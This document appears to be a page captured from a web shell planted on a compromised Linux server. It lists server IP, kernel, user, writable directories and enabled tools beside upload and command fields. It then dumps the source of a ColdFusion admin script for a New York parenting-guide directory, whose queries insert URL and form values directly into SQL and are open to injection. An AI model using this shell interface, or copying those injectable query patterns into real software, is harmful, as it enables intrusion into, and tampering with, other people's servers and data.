403Webshell
Server IP : 104.21.21.239  /  Your IP : 216.73.216.11
Web Server : Apache/2.4.68 (Amazon Linux) OpenSSL/3.5.5
System : Linux ip-172-31-69-123.ec2.internal 6.1.176-223.369.amzn2023.x86_64 #1 SMP PREEMPT_DYNAMIC Fri Jul 24 13:34:27 UTC 2026 x86_64
User : ec2-user ( 1000)
PHP Version : 8.4.23
Disable Function : NONE
MySQL : OFF  |  cURL : ON  |  WGET : ON  |  Perl : ON  |  Python : OFF  |  Sudo : ON  |  Pkexec : ON
Directory :  /home/home2/cgny/nympadmin/

Upload File :
current_dir [ Writeable ] document_root [ Writeable ]

 

Command :


[ Back ]     

Current File : /home/home2/cgny/nympadmin/tutor2018.cfm
<cfif parameterexists(url.rob)>	
		<cfabort>
	<Cfquery name="getc" dataSource="#ds#">
		select * from rd0207
	</cfquery>
	
	<cfoutput query="getc">
	<cfquery name="upds" dataSource="#ds#">
		update camp2018form
		set micrositelink = '#micrositelink#'
		where id = #id#
		
	</cfquery> 
	</cfoutput>
	<cfabort>

	
	<!---
	<Cfquery name="getc" dataSource="#ds#">
		select * from directoryarticlescamps
	</cfquery>
	
	<cfoutput query="getc">
		<Cfif catname contains 'Suburbs'>
		<Cfquery name="upds" dataSource="#ds#">
		update directoryarticlescamps set typer = 'Suburbs' where id = #id#
		</cfquery>	
		</Cfif>	
		<Cfif catname contains 'NYC'>
		<Cfquery name="upds" dataSource="#ds#">
		update directoryarticlescamps set typer = 'NYC' where id = #id#
		</cfquery>	
		</Cfif>	
	
	<cfset newcat = rereplace(catname,'Suburbs - ','','all')>	
	<cfset newcat = rereplace(newcat,'NYC - ','','all')>	
		
	<cfquery name="upds" dataSource="#ds#">
		update directoryarticlescamps
		set catname = '#newcat#'
		where lid = #lid#
	</cfquery>	
	
	</cfoutput>		
	--->
	
			</cfif>		


<cfif parameterexists(url.adder)>
	
		<cfquery name=addphoto datasource="#ds#">

INSERT INTO tutor2018formcats(

campid,catid

)

VALUES	(#url.adder#,#form.catid#)
		

		</cfquery>

<cfquery name="Gettop" dataSource="#ds#">
	
	select id from tutor2018formcats
	order by id DESC
limit 0,1
</cfquery>

<cflocation url="tutor2018.cfm?edit=#gettop.id#&catid=#form.catid#" addToken="no" statusCode="301">	


</cfif>	


<Cfif parameterexists(url.editone)>
	
		<Cfquery name="getr" dataSource="#ds#">
	select *
	from tutor2018form
	where id = #url.editone#
</cfquery>


<cfoutput>
<FORM action="tutor20182018.cfm?gridit=on&saveone=#url.editone#" method=post  >
</cfoutput>
  <br>
<cfoutput query="getr" maxrows = 1>

businessname: <input name="businessname"value="#businessname#" size="100"><br>
address: <input name="address"value="#address#" size="100"><br>
website: <input name="website"value="#website#" size="100"><br>
phone: <input name="phone"value="#phone#"size="100"><br>
accountrep: <input name="accountrep"value="#accountrep#" size="100"><br>
email: <input name="email"value="#email#" size="100"><br>
microsite link: <input name="micrositelink"value="#micrositelink#" size="100"><br>

<p>


		<label class="control-label" for="expert-credentials"><h3>Magazine:</h3></label>
        <div class="checkbox lst-ages my_error_container">

          <div class="control-group-sw">
        
          <label class="control-label control control--checkbox">
          <input name="Magazine" class="expert-credentials"  type="checkbox"   value="Big Apple Parent" <Cfif #region# contains 'Big Apple'>checked</Cfif>/> Big Apple Parent
          <div class="control__indicator"></div>
          </label>

          <label class="control-label control control--checkbox">
          <input name="Magazine" class="expert-credentials"  type="checkbox"   value="Brooklyn Parent" <Cfif #region# contains 'Brooklyn'>checked</Cfif>/> Brooklyn Parent
          <div class="control__indicator"></div>
          </label> 
              
          <label class="control-label control control--checkbox">
          <input name="Magazine" class="expert-credentials"  type="checkbox"   value="Long Island Parent Nassau"/ <Cfif #region# contains 'Nassau'>checked</Cfif>> Long Island Parent Nassau
          <div class="control__indicator"></div>
          </label>
              
          <label class="control-label control control--checkbox">
          <input name="Magazine" class="expert-credentials"  type="checkbox"   value="Long Island Parent Suffolk" <Cfif #region# contains 'Suffolk'>checked</Cfif>/> Long Island Parent Suffolk
          <div class="control__indicator"></div>
          </label>
              
          <label class="control-label control control--checkbox">
          <input name="Magazine" class="expert-credentials"  type="checkbox"   value="Queens Parent" <Cfif #region# contains 'Queens'>checked</Cfif>/> Queens Parent
          <div class="control__indicator"></div>
          </label>

          <label class="control-label control control--checkbox">
          <input name="Magazine" class="expert-credentials"  type="checkbox"   value="Rockland/Bergen Parent" <Cfif #region# contains 'Rockland'>checked</Cfif>/> Rockland/Bergen Parent
          <div class="control__indicator"></div>
          </label>
       
          <label class="control-label control control--checkbox">
            <!--@@@ only first input is REQUIRED and gets the extra parsley attributes -->
          <input name="Magazine" class="expert-credentails"  type="checkbox"   value="Westchester Parent" <Cfif #region# contains 'Westchester'>checked</Cfif> /> Westchester Parent
          <div class="control__indicator"></div>
          </label>

        
          
          </div>
          



</cfoutput>
<input type="submit" Value="Update">
</form>

<Cfabort>
</Cfif>	


<cfif parameterexists(url.saveone)>
	
	<cfquery name="upds" dataSource="#ds#">
		update tutor2018form
set businessname = '#form.businessname#',
address = '#form.address#',
website = '#form.website#',
phone = '#form.phone#',
micrositelink = '#form.micrositelink#',
region = '#form.magazine#',
accountrep = '#form.accountrep#',
email = '#form.email#'
where id = #url.saveone#
</cfquery>

	
	<cflocation url="https://www.cityguideny.com/admin/tutor20182018.cfm?gridit" addToken="no" statusCode="301">
	<cfabort>
</cfif>	

<Cfif parameterexists(url.edit)>
	
		<Cfquery name="getr" dataSource="#ds#">
	select catid,categorytext,id
	from tutor2018formcats
	where id = #url.edit# and catid = #url.catid#
</cfquery>


<cfoutput>
<FORM action="tutor2018.cfm?gridit=on&saver=#url.edit#" method=post  >
</cfoutput>
  <br>
<cfoutput query="getr" >
	  <b><font SIZE="-1" FACE="verdana" >Category Description:</font></b><p>
	  <textarea rows="10" cols="60" name="categorytext">#categorytext#</textarea>

</cfoutput>
<input type="submit" Value="Update Site">
</form>

<Cfabort>
</Cfif>	


<Cfif parameterexists(url.gridit)>

<cfquery name="getreg" dataSource="#ds#">
	select distinct region from tutor2018form 
	where region not like '%,%'
</cfquery>
<cfoutput query="getreg">
	<a href="tutor2018.cfm?gridit=on&region=#region#">#region#</a> | 
</cfoutput>	

<a href="tutor2018.cfm?gridit=on&region=Rockland/Bergen Parent">Rockland/Bergen Parent</a> 


<Cfif parameterexists(url.saver)>
	<Cfquery name="uppda" dataSource="#ds#">
		update tutor2018formcats
		set categorytext = 
		
				<cfqueryPARAM value = '#form.categorytext#'
CFSQLType = 'cf_sql_longvarchar'> 
		
		
		where id = #url.saver#	
	</cfquery>	

</Cfif>	
	
	<Cfif parameterexists(url.delete)>
		
<cfquery name="del" dataSource="#ds#">
	delete from tutor2018form
	where id = #url.delete#
</cfquery>	
	</Cfif>

<Cfquery name="Getcamps" dataSource="#ds#">
	select * from tutor2018form
	<Cfif parameterexists(url.region)>
		where region like '%#url.region#%'
	</Cfif>	

</cfquery>
<Table cellpadding="4" cellspacing="0" border="1">
<tr><td>id</td>
<td><b>businessname</b></td>
<td><b>address</b></td>
<td><b>website</b></td>
<td><b>phone</b></td>
<td><b>region</b></td>
<td><b>accountrep</b></td>
<td><b>email</b></td>
<td><b>entries</b></td>
<td><b>delete</b></td>

</tr>

<Cfoutput query="Getcamps">

<tr><td><a href="tutor2018.cfm?editone=#id#">#id#</a></td>
<td><cfif #micrositelink# is not ''><a href="#micrositelink#" target=_new></cfif>#businessname#</a></td>
<td>#address#</td>
<td>#website#</td>
<td>#phone#</td>
<td>#region#</td>
<td>#accountrep#</td>
<td>#email#</td>

<Td>
	
	<cfif not parameterexists(url.entries)>
		
	<Cfquery name="getr" dataSource="#ds#">
	select catid,categorytext,id
	from tutor2018formcats
	where campid = #getcamps.id#
	and categorytext is not null
</cfquery>

<Cfloop from=1 to="#getr.recordcount#" index="i">
	<Cfquery name="Getname" dataSource="#ds#">
		select catname from tutor2018catmap
		where id = #getr.catid[i]#
</cfquery>
<B>#getname.catname#</b> <a href="tutor2018.cfm?edit=#getr.id[i]#&catid=#getr.catid[i]#">edit</a><Br>
#getr.categorytext[i]#<p>


</Cfloop>	

<cfelse>
	<Cfquery name="getr" dataSource="#ds#">
	select catid,categorytext
	from tutor2018formcats
	where campid = #getcamps.id#
</cfquery>

<Cfloop from=1 to="#getr.recordcount#" index="i">
	<Cfquery name="Getname" dataSource="#ds#">
		select catname from tutor2018catmap
		where id = #getr.catid[i]#
</cfquery>
#getname.catname#<Cfif #i# is not #getr.recordcount#>,</Cfif>

</Cfloop>	



	</cfif>





<FORM action="tutor2018.cfm?gridit=on&adder=#id#" method=post  >
  <br>

      <cfquery name="Getcats" datasource="#ds#">
      	select * from tutor2018catmap
      	order by reg,typer, catname
      </cfquery>
<Select name="catid">

<cfloop index="i" from="1" to="#getcats.recordcount#">
	<option value="#getcats.id[i]#">#getcats.REG[i]# - #getcats.typer[i]# - #getcats.catname[i]#</option>
</cfloop></Select>	

<input type="submit" Value="Add Cat">
</form>



</td>

<Td>
	<a href="https://www.cityguideny.com/admin/tutor2018.cfm?gridit&delete=#id#" onclick="return confirm('Are you sure?');">delete</a>
</Td>

</tr>
</Cfoutput>

</Table>


<Cfelse>





<Cfquery name="Getcamps" dataSource="#ds#">
	select * from tutor2018form
</cfquery>

<Cfoutput query="Getcamps">
<Table>
<tr><td>id</td>
<td><b>businessname</b></td>
<td><b>address</b></td>
<td><b>website</b></td>
<td><b>phone</b></td>
<td><b>region</b></td>
<td><b>accountrep</b></td>
<td><b>email</b></td></tr>
<tr><td>#id#</td>
<td><cfif #micrositelink# is not ''><a href="#micrositelink#" target=_new></cfif>#businessname#</a></td>
<td>#address#</td>
<td>#website#</td>
<td>#phone#</td>
<td>#region#</td>
<td>#accountrep#</td>
<td>#email#</td></tr>
</Table>

<Cfquery name="getr" dataSource="#ds#">
	select catid,categorytext
	from tutor2018formcats
	where campid = #getcamps.id#
</cfquery>

<Cfloop from=1 to="#getr.recordcount#" index="i">
	<Cfquery name="Getname" dataSource="#ds#">
		select catname from camp2018catmap
		where id = #getr.catid[i]#
</cfquery>
<h3>#getname.catname#</h3>
#getr.categorytext[i]#


</Cfloop>	

<hr>

</Cfoutput>


</Cfif>	

Youez - 2016 - github.com/yon3zu
LinuXploit